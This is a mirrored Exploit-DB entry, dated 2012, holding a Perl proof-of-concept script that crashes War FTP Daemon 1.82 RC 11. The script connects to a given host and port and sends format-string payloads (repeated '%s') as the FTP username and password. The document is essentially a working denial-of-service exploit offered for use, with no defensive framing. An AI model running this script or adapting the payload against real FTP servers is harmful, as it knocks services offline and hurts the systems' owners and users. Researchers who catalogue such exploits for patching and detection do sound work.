WarFTP Daemon 1.82 RC 11 – Remote Format String - 体验盒子

作者： coolkaveh

日期： 2012-08-31

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/20957/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

# Exploit Title: War FTP Daemon Remote Format String Vulnerability

# crash: http://img826.imageshack.us/img826/6222/69004160.png

# Date: 2012-08-30

# Author: coolkaveh

# coolkaveh@rocketmail.com

# https://twitter.com/coolkaveh

# Vendor Homepage: http://www.warftp.org

# Version: War FTP Daemon 1.82 RC 11

# Tested on: windows XP SP3

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# War FTP Daemon Remote Format String Vulnerability

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/perl -w

use IO::Socket;

$|=1;

$host=shift || die "$0 \$host \$port\n";

$port=shift || die "$0 \$host \$port\n";

my $username = "%s%s%s%s%s%s%s%s%s%s%s%s";

my $password = "%s%s%s%s%s%s%s%s%s%s%s%s";

print "Launch Attack ... ";

$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";

if(defined($sock1)){

$sock1->recv($content, 100, 0);

sleep(2);

$sock1->send("USER ".$username."\r\n", 0);

$sock1->send("PASS ".$password."\r\n", 0);

sleep(2);

$sock1->recv($content, 100, 0);

sleep(5);

$sock1->close;

}

print "Finish!\n";

exit(1);